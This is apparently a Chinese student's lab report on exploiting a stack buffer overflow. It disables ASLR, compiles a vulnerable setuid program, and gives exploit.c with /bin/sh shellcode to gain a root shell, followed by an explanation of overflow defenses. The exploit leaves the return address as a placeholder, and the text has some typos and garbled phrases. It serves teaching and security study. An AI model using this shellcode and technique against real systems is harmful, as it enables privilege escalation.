实验七-缓冲区溢出

一、实验简介

缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。

二、实验准备

安装gdb

   sudo apt-get update
   sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
   sudo apt-get install -y  gdb

三、实验步骤

初始化设置

  sudo su
  cd /bin
  rm sh
  ln -s zsh sh
  exit

1.Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:

  sudo sysctl -w kernel.randomize_va_space=0

2.设置zsh程序

sudo su
cd /bin
rm sh
ln -s zsh sh
exit

3.进入32位linux环境

漏洞程序

在 /tmp 目录下新建一个 stack.c 文件:
cd /tmp
vim stack.c

stack.c,通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。

/* stack.c */

/* This program has a buffer overflow vulnerability. /
/
Our task is to exploit this vulnerability */

  #include <stdlib.h>
  #include <stdio.h>
  #include <string.h>

  int bof(char *str)
 {
     char buffer[12];

/* The following statement has a buffer overflow problem */ 
strcpy(buffer, str);

return 1;
 }

 int main(int argc, char **argv)
 {
char str[517];
FILE *badfile;

badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);

printf("Returned Properly\n");
return 1;
 }

编译该程序,并设置 SET-UID。命令如下:

  sudo su
  gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
  chmod u+s stack
  exit

攻击程序

目的是攻击刚才的漏洞程序,并通过攻击获得 root 权限。在 /tmp 目录下新建一个 exploit.c 文件,输入如下内容:

  /* exploit.c */
  /* A program that creates a file containing code for launching shell*/
  #include <stdlib.h>
  #include <stdio.h>
  #include <string.h>

  char shellcode[] =
  "\x31\xc0" //xorl %eax,%eax
  "\x50"     //pushl %eax
  "\x68""//sh" //pushl $0x68732f2f
  "\x68""/bin"     //pushl $0x6e69622f
  "\x89\xe3" //movl %esp,%ebx
  "\x50"     //pushl %eax
  "\x53"     //pushl %ebx
  "\x89\xe1" //movl %esp,%ecx
  "\x99"     //cdq
  "\xb0\x0b" //movb $0x0b,%al
  "\xcd\x80" //int $0x80
   ;

 void main(int argc, char **argv)
 {
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);

}

现在我们要得到 shellcode 在内存中的地址,输入命令进入 gdb 调试:

gdb stack
disass main
结果图:

esp 中就是 str 的起始地址,所以我们在地址 0x080484ee 处设置断点。

攻击结果

先运行攻击程序 exploit,再运行漏洞程序 stack,观察结果:

通过攻击,获得了root 权限。
参考链接:https://blog.csdn.net/weixin_43771137/article/details/128063046

缓冲区溢出的原理

通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。
下面通过一个示例来详细看看什么是缓冲区溢出。程序的缓冲区就像一个个格子,每个格子中存放不同的东西,有的是命令,有的是数据,当程序需要接收用户数据,程序预先为之分配了4个格子(下图1中黄色的03号格子)。按照程序设计,就是要求用户输入的数据不超过4个。而用户在输入数据时,假设输入了16个数据,而且程序也没有对用户输入数据的多少进行检查,就往预先分配的格子中存放,这样不仅4个分配的格子被使用了,其后相邻的12个格子中的内容都被新数据覆盖了。这样原来12个格子中的内容就丢失了。这时就出现了缓冲区(03号格子)溢出了。

在上面示例的基础上来看一个代码实例,程序如下:
void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}
上面的strcpy()将直接把str中的内容copy到buffer中。这样只要str的长度大于16,就会造成buffer的溢出,使程序运行出错。存在象strcpy这样的问题的标准函数还有strcat(),sprintf(),vsprintf(),gets(),scanf()等。
当然,随便往缓冲区中填东西造成它溢出一般只会出现“分段错误”(Segmentation fault),而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell执行其它命令。如果该程序有root或者suid执行权限的话,攻击者就获得了一个有root权限的shell,可以对系统进行任意操作了。
缓冲区溢出攻击之所以成为一种常见安全攻击手段其原因在于缓冲区溢出漏洞太普遍了,并且易于实现。而且,缓冲区溢出成为远程攻击的主要手段其原因在于缓冲区溢出漏洞给予了攻击者他所想要的一切:植入并且执行攻击代码。被植入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序,从而得到被攻击主机的控制权。
在1998年Lincoln实验室用来评估入侵检测的的5种远程攻击中,有2种是缓冲区溢出。而在1998年CERT的13份建议中,有9份是是与缓冲区溢出有关的,在1999年,至少有半数的建议是和缓冲区溢出有关的。在Bugtraq的调查中,有2/3的被调查者认为缓冲区溢出漏洞是一个很严重的安全问题。
缓冲区溢出漏洞和攻击有很多种形式,会在第二节对他们进行描述和分类。相应地防卫手段也随者攻击方法的不同而不同,将在第四节描述,它的内容包括针对每种攻击类型的有效的防卫手段。

缓冲分区溢出的防范

缓冲区溢出攻击的防范是和整个系统的安全性分不开的。如果整个网络系统的安全设计很差,则遭受缓冲区溢出攻击的机会也大大增加。针对缓冲区溢出,可以采取多种防范策略。

(1)系统管理上的防范策略

一要关闭不需要的特权程序。

二要及时给程序漏洞打补丁。

(2)软件开发过程中的防范策略

发生缓冲区溢出的主要及各要素是:数组没有边界检查而导致的缓冲区溢出;函数返回地址或函数指针被改变,使程序流程的改变成为可能;植入代码被成功的执行等等。所以针对这些要素,从技术上可以采取一定的措施。

1)强制写正确的代码的方法。

只要在所有拷贝数据的地方进行数据长度和有效性的检查,确保目标缓冲旦中数据不越界并有效,则就可以避免缓冲区溢出,更不可能使程序跳转到恶意代码上。

2)通过操作系统使得缓冲区不可执行,从而阻止攻击者殖入攻击代码。

通过使被攻击程序的数据段地址空间不可执行,从商使得攻击者不可能执行被植入被攻击程序输入缓冲区的代码,这种技术被称为缓冲区不可执行技术。

3)改进C语言函数库。

C语言中存在缓冲区溢出攻击隐患的系统匾数有很多。例如gets(),sprintf(),strcpy(),strcat(),fscanf(),scanf(),vsprintf()等。可以开发出更安全的封装了若干己知易受堆栈溢出攻击的岸函数。

4)使堆栈向高地址方向增长。

使用的机器堆栈压入数据时向高地址方向前进,那么无论缓冲区如何溢出,都不可能覆盖低地址处的函数返回地址指针,也就避免了缓冲区溢出攻击。但是这种方法仍然无法防范利用堆和静态数据段的缓冲区进行溢出的攻击。

5)在程序指针失效前进行完整性检查。

原理是在每次在程序指针被引用之前先检测该指针是否己被恶意改动过,如果发现被改动,程序就拒绝执行。

6)利用编译器将静态数据段中的函数地址指针存放地址和其他数据的存放地址分离。

posted on 2022-12-12 16:33  20221305赵月溪  阅读(65)  评论(0编辑  收藏  举报

导航